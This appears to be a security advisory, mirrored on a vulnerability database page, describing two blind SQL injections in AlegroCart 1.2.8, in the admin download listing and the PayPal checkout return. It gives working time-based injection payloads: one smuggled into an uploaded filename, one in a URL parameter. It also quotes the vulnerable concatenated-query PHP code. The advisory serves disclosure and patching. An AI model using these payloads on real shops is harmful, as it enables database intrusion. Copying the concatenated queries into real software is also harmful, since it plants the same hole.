Lucene search
K

AlegroCart 1.2.8 SQL Injection

🗓️ 16 Nov 2015 00:00:00Reported by Tim CoenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

AlegroCart 1.2.8 SQL Injection in admin and customer areas, fixed in Patch AC128_fix_1710201

Code
`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: AlegroCart 1.2.8  
Fixed in: Patch AC128_fix_17102015  
Path Link: http://forum.alegrocart.com/download/file.php?id=1040  
Vendor Website: http://alegrocart.com/  
Vulnerability Type: SQL Injection  
Remote Exploitable: Yes  
Reported to vendor: 09/29/2015  
Disclosed to public: 11/13/2015  
Release mode: Coordinated release  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
There is a blind SQL injection in the admin area of AlegroCart. Additionally,  
there is a blind SQL injection when a customer purchases a product. Because of  
a required interaction with PayPal, this injection is hard to exploit for an  
attacker.  
  
3. BLind SQL Injection (Admin)  
  
CVSS  
  
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P  
  
Description  
  
When viewing the list of uploaded files - or images - , the function  
check_download is called. This function performs a database query with the  
unsanitized name of the file. Because of this, an attacker can upload a file  
containing SQL code in its name, which will be executed once files are listed.  
  
Note that a similar function - check_filename - is called when deleting a file,  
making it likely that this operation is vulnerable as well.  
  
Admin credentials are required to exploit this issue.  
  
Proof of Concept  
  
  
POST /ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download&action=insert HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en; __atuvc=4%7C37  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=---------------------------16690383031191084421650661794  
Content-Length: 865  
  
-----------------------------16690383031191084421650661794  
Content-Disposition: form-data; name="language[1][name]"  
  
test  
-----------------------------16690383031191084421650661794  
Content-Disposition: form-data; name="download"; filename="image.jpg' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(100000000,ENCODE('MSG','by 5 seconds')),null) -- -"  
Content-Type: image/jpeg  
  
img  
  
-----------------------------16690383031191084421650661794  
Content-Disposition: form-data; name="mask"  
  
11953405959037.jpg  
-----------------------------16690383031191084421650661794  
Content-Disposition: form-data; name="remaining"  
  
1  
-----------------------------16690383031191084421650661794  
Content-Disposition: form-data; name="dc8bd9802df2ba1fd321b32bf73c62c4"  
  
f396df6c76265de943be163e9b65878a  
-----------------------------16690383031191084421650661794--  
  
  
Visiting  
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download  
will trigger the injected code.  
  
Code  
  
  
/upload/admin2/model/products/model_admin_download.php  
function check_download($filename){  
$result = $this->database->getRow("select * from download where filename = '".$filename."'");  
return $result;  
}  
  
function check_filename($filename){  
$results = $this->database->getRows("select filename from download where filename = '" . $filename . "'");  
return $results;  
}  
  
/upload/admin2/controller/download.php  
function checkFiles() {  
$files=glob(DIR_DOWNLOAD.'*.*');  
if (!$files) { return; }  
foreach ($files as $file) {  
$pattern='/\.('.implode('|',$this->prohibited_types).')$/';  
$filename=basename($file);  
if (!preg_match($pattern,$file) && $this->validate->strlen($filename,1,128)) {  
$result = $this->modelDownload->check_download($filename);  
if (!$result) { $this->init($filename); }  
}  
}  
}  
  
4. BLind SQL Injection (Customer)  
  
CVSS  
  
Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P  
  
Description  
  
There is an SQL Injection when using Paypal as a payment method during  
checkout.  
  
Please note that this injection requires that a successful interaction with  
Paypal took place. For test purposes, we commented out the parts of the code  
that actually perform this interaction with Paypal.  
  
Proof of Concept  
  
  
1. Register a User  
2. Buy an item, using PayPal as payment method; stop at step "Checkout Confirmation"  
3. Visit this link to trigger the injection: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=INJECTION. Note that this requires a valid paypal tx token.  
  
The injection can be exploited blind:  
  
  
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=-1' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23)  
  
However, this is rather unpractical, especially considering the need for a  
valid PayPal token for each request.  
  
It is also possible with this injection to inject into an UPDATE statement in  
update_order_status_paidunconfirmed. The problem here is that it is difficult  
to create an injection that exploits the UPDATE statement, but also results in  
an order_id being returned by the previous SELECT statement.  
  
It may also be possible to use the order_id that can be controlled via the  
SELECT statement to inject into the INSERT statement in update_order_history.  
But again, it is difficult to craft a query that does this, but also returns a  
valid result for the UPDATE query.  
  
Code  
  
  
/upload/catalog/extension/payment/paypal.php:  
function orderUpdate($status = 'final_order_status', $override = 0) {  
//Find the paid_unconfirmed status id  
$results = $this->getOrderStatusId('order_status_paid_unconfirmed');  
$paidUnconfirmedStatusId = $results?$results:0;  
//Find the final order status id  
$results = $this->getOrderStatusId($status);  
$finalStatusId = $results?$results:0;  
$reference = $this->request->get('ref');  
//Get Order Id  
$res = $this->modelPayment->get_order_id($reference);  
$order_id = $res['order_id'];  
//Update order only if state in paid unconfirmed OR override is set  
if ($order_id) {  
if ($override) {  
// Update order status  
$result = $this->modelPayment->update_order_status_override($finalStatusId,$reference);  
// Update order_history  
if ($result) {  
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'override');  
}  
} else {  
// Update order status only if status is currently paid_unconfirmed  
$result = $this->modelPayment->update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId);  
// Update order_history  
if ($result) {  
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'PDT/IPN');  
}  
}  
}  
}  
  
/upload/catalog/model/payment/model_payment.php:  
function get_order_id($reference){  
$result = $this->database->getrow("select `order_id` from `order` where `reference` = '" . $reference . "'");  
return $result;  
}  
  
function update_order_history($order_id, $finalStatusId,$comment){  
$this->database->query("insert into `order_history` set `order_id` = '" . $order_id . "', `order_status_id` = '" . $finalStatusId . "', `date_added` = now(), `notify` = '0', `comment` = '" . $comment . "'");  
}  
  
function update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId){  
$result = $this->database->countAffected($this->database->query("update `order` set `order_status_id` = '" . $finalStatusId . "' where `reference` = '" . $reference . "' and order_status_id = '" . $paidUnconfirmedStatusId . "'"));  
return $result;  
}  
  
5. Solution  
  
To mitigate this issue please apply this patch:  
  
http://forum.alegrocart.com/download/file.php?id=1040  
  
Please note that a newer version might already be available.  
  
6. Report Timeline  
  
09/29/2015 Informed Vendor about Issue  
17/10/2015 Vendor releases fix  
11/13/2015 Disclosed to public  
  
  
Blog Reference:  
http://blog.curesec.com/article/blog/AlegroCart-128-SQL-Injection-104.html  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation